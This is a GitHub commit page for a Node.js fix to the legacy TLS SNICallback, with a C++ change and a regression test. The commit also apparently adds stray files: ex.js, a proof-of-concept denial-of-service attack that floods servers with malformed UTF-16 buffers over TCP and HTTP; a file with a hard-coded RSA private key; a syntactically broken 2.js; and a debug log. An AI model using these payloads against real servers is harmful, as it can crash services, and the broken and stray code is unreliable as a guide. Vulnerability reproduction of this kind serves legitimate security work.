Skip to content

Commit 0f2a9f8

Browse files
committed
crypto: fix legacy SNICallback
`onselect` is set on the `sniObject_` not on the `Connection` instance. See: nodejs/node-v0.x-archive#25109 PR-URL: #1720 Reviewed-By: Ben Noordhuis <[email protected]>
1 parent 9afee67 commit 0f2a9f8

File tree

6 files changed

+195
-1
lines changed

6 files changed

+195
-1
lines changed

1.js

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
'use strict';
2+
3+
var options = {
4+
key: "-----BEGIN RSA PRIVATE KEY-----\nMIICXQIBAAKBgQDN9WSJABq8qOoQSmzWcSOvdcjJ/3hASjWe/spyRuWviC4G3YQR\n1ap8kwCCmtuWsaEctxG2xxs7l0w4BlrQNm5IynHMl28EF8Uej3qIASfhF15hjSFJ\n/RxWGNg3/3yF53g7tIAsAMk7h1d8CaudN8h51G3lMdLVrVUPaQiTAE2mxQIDAQAB\nAoGAI376f74b3Y4DISGilmbTbqcPHvk/oVzo1uk0vPNJHLKMtDQzUduQUX4IZXoJ\nBHTCvq8yh1zTbbbKtRErT51B7kxNOVHefzCiibZNFlrk9ATanAbmBoCat5DMkw3I\nPqCnQ1gDyZjuj+P5IVYHOezIn1/5nInw7f4akhCGHU32MfUCQQDU1vI7rvVxkFPP\nI/dnEnggG5JYmufxZzlskiBrowEOaZIfvcgTUT5VhRuSakE+FBDGh1oyRUyDDhlP\nVBsZwjh/AkEA97k7hUyUB3erEccUyLLGPHzsxXc711Lsf5NQkljXThntTCkjnGpZ\nSulOgvuko4sFSuRgzm1r0DeAA6AS53CeuwJBAKTobgLkSnPVGbqS6WvJGZ32/ur8\nCt411n5Ssh/zyiu6jGdfihe9iQiF+5j0DtzkeyL3WGE+5EterymRxvWsUE0CQQCx\nKgJNZOUBKi5oOm680k4/+EAFQS7E4gNNgfe/klX4/0XckBdtyAkwMAb8Wif25nfU\nhdxOBadzdB3TeenLJ5n9AkA+gAl04OMKdURMtlNewEAbHDO02raUQ2Ui4Bl2PKfh\nHZ9EBnruiJTxDYjxoLBcJ8MzIvzL9MfUXAlcfw07BPI4\n-----END RSA PRIVATE KEY-----",
5+
cert: "-----BEGIN CERTIFICATE-----\nMIIBtDCCAR+gAwIBAgIDAQABMAsGCSqGSIb3DQEBCzAUMRIwEAYDVQQDFgl0ZXN0\nLnRlc3QwHhcNNjkwMTAxMDAwMDAwWhcNMjUwNzE1MDMwMTM1WjAUMRIwEAYDVQQD\nFgl0ZXN0LnRlc3QwgZ0wCwYJKoZIhvcNAQEBA4GNADCBiQKBgQDN9WSJABq8qOoQ\nSmzWcSOvdcjJ/3hASjWe/spyRuWviC4G3YQR1ap8kwCCmtuWsaEctxG2xxs7l0w4\nBlrQNm5IynHMl28EF8Uej3qIASfhF15hjSFJ/RxWGNg3/3yF53g7tIAsAMk7h1d8\nCaudN8h51G3lMdLVrVUPaQiTAE2mxQIDAQABoxowGDAWBgNVHREEDzANggsqLnRl\nc3QudGVzdDALBgkqhkiG9w0BAQsDgYEAvKZ+uTM0kZAYBZg+wwTLZwzW3LSyeVFA\nQgxVPmXpNSfvFvBsPrHLbtGsqbDw9Yx+l6XWl9iAqW7FR3nJseKRzJYnlnvIO56g\nr7Pz4K308QJKSNIT4Cm54mxO1ZLaVdpumtoTxncplAJgUC/MZqvFK5ig8tvDGMCe\nHOtVT2sWjMQ=\n-----END CERTIFICATE-----"
6+
};
7+
8+
var Https = require('https');
9+
var Fs = require('fs');
10+
var C = require('constants');
11+
12+
var server = Https.createServer({
13+
secureOptions: C.SSL_OP_NO_TICKET,
14+
cert: options.cert,
15+
key: options.key
16+
}, function (req, res) {
17+
res.writeHead(200);
18+
res.end("hello world\n");
19+
});
20+
21+
server.on('resumeSession', function (id, callback) {
22+
console.log('resume requested');
23+
callback();
24+
});
25+
26+
server.listen(8000);
27+

2.js

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
var tls = require('tls');
2+
3+
tls.connect({
4+
port: 1443
5+
}
6+
console.log(c.servername);
7+
c.destroy();
8+
}).listen(1443);

ex.js

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
'use strict';
2+
3+
var http = require('http');
4+
var net = require('net');
5+
var LEN = 1024 * 64;
6+
var PORT = 8123;
7+
var log = process._rawDebug;
8+
9+
10+
///// BASIC ATTACK /////
11+
12+
/**
13+
* This sample code demonstrates the simplest way to reproduce the issue.
14+
*/
15+
var b = Buffer(LEN);
16+
b.fill('\ud834\udc1e');
17+
b = b.slice(0, LEN - 3);
18+
b.toString();
19+
20+
21+
22+
///// TCP ATTACK /////
23+
24+
/**
25+
* This demonstrates exploiting packet size to force a malformed UTF-16
26+
* character throw to be turned to a string by the unexpecting victim.
27+
*/
28+
var b = Buffer(LEN).fill('\ud834\udc1e').slice(0, LEN - 3);
29+
30+
net.createServer(function(c) {
31+
c.on('data', function(chunk) {
32+
chunk.toString();
33+
this.end();
34+
});
35+
}).listen(8123, function(e) {
36+
if (e) throw e;
37+
startClient();
38+
});
39+
40+
function startClient() {
41+
net.connect(PORT, function() {
42+
log('client connected');
43+
this.write(b);
44+
this.end();
45+
}).on('end', function() {
46+
setImmediate(startClient);
47+
});
48+
}
49+
50+
51+
52+
///// HTTP ATTACK /////
53+
54+
/**
55+
* This shows an attack vector that could be used to bring down an HTTP server.
56+
* Though because of implementation details, it requires explicit action by the
57+
* implementor.
58+
*
59+
* Fortunately a perf improvement I recommended to Isaac a while back (1f9f863)
60+
* helps guard against this attack on http, but doesn't prevent it if the user
61+
* takes explicit action.
62+
*/
63+
var b = Buffer(LEN).fill('\ud834\udc1e').slice(0, LEN - 3);
64+
var cH = 'GET / HTTP/1.1\r\n' +
65+
'User-Agent: '
66+
67+
b.write(cH);
68+
b.write('\r\n\r\n', b.length - 4);
69+
70+
http.createServer(function(req, res) {
71+
log('connection received');
72+
Buffer(req.headers['user-agent'], 'binary').toString('utf8');
73+
res.end();
74+
}).listen(PORT, function(e) {
75+
if (e) throw e;
76+
startClient();
77+
});
78+
79+
function startClient() {
80+
net.connect(PORT, function() {
81+
this.write(b);
82+
this.end();
83+
}).on('end', function() {
84+
setImmediate(startClient);
85+
}).on('data', function() { });
86+
}

npm-debug.log

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
0 info it worked if it ends with ok
2+
1 verbose cli [ '/Users/indutny/.iojs/2.2.1/bin/iojs',
3+
1 verbose cli '/Users/indutny/.iojs/2.2.1/bin/npm',
4+
1 verbose cli 'test' ]
5+
2 info using [email protected]
6+
3 info using [email protected]
7+
4 verbose stack Error: ENOENT: no such file or directory, open '/Users/indutny/Code/indutny/node/package.json'
8+
4 verbose stack at Error (native)
9+
5 verbose cwd /Users/indutny/Code/indutny/node
10+
6 error Darwin 14.3.0
11+
7 error argv "/Users/indutny/.iojs/2.2.1/bin/iojs" "/Users/indutny/.iojs/2.2.1/bin/npm" "test"
12+
8 error node v2.2.1
13+
9 error npm v2.11.0
14+
10 error path /Users/indutny/Code/indutny/node/package.json
15+
11 error code ENOENT
16+
12 error errno -2
17+
13 error syscall open
18+
14 error enoent ENOENT: no such file or directory, open '/Users/indutny/Code/indutny/node/package.json'
19+
14 error enoent This is most likely not a problem with npm itself
20+
14 error enoent and is related to npm not being able to find a file.
21+
15 verbose exit [ -2, true ]

src/node_crypto.cc

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2346,8 +2346,15 @@ int Connection::SelectSNIContextCallback_(SSL *s, int *ad, void* arg) {
23462346
if (!conn->sniObject_.IsEmpty()) {
23472347
conn->sni_context_.Reset();
23482348

2349+
Local<Object> sni_obj = PersistentToLocal(env->isolate(),
2350+
conn->sniObject_);
2351+
23492352
Local<Value> arg = PersistentToLocal(env->isolate(), conn->servername_);
2350-
Local<Value> ret = conn->MakeCallback(env->onselect_string(), 1, &arg);
2353+
Local<Value> ret = node::MakeCallback(env->isolate(),
2354+
sni_obj,
2355+
env->onselect_string(),
2356+
1,
2357+
&arg);
23512358

23522359
// If ret is SecureContext
23532360
Local<FunctionTemplate> secure_context_constructor_template =
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
'use strict';
2+
var common = require('../common');
3+
var assert = require('assert');
4+
5+
if (!common.hasCrypto) {
6+
console.log('1..0 # Skipped: missing crypto');
7+
return;
8+
}
9+
var tls = require('tls');
10+
var net = require('net');
11+
12+
var fs = require('fs');
13+
14+
var success = false;
15+
16+
function filenamePEM(n) {
17+
return require('path').join(common.fixturesDir, 'keys', n + '.pem');
18+
}
19+
20+
function loadPEM(n) {
21+
return fs.readFileSync(filenamePEM(n));
22+
}
23+
24+
var server = net.Server(function(raw) {
25+
var pair = tls.createSecurePair(null, true, false, false);
26+
pair.on('error', function() {});
27+
pair.ssl.setSNICallback(function() {
28+
raw.destroy();
29+
server.close();
30+
success = true;
31+
});
32+
require('_tls_legacy').pipe(pair, raw);
33+
}).listen(common.PORT, function() {
34+
tls.connect({
35+
port: common.PORT,
36+
rejectUnauthorized: false,
37+
servername: 'server'
38+
}, function() {
39+
}).on('error', function() {
40+
// Just ignore
41+
});
42+
});
43+
process.on('exit', function() {
44+
assert(success);
45+
});

0 commit comments

Comments
 (0)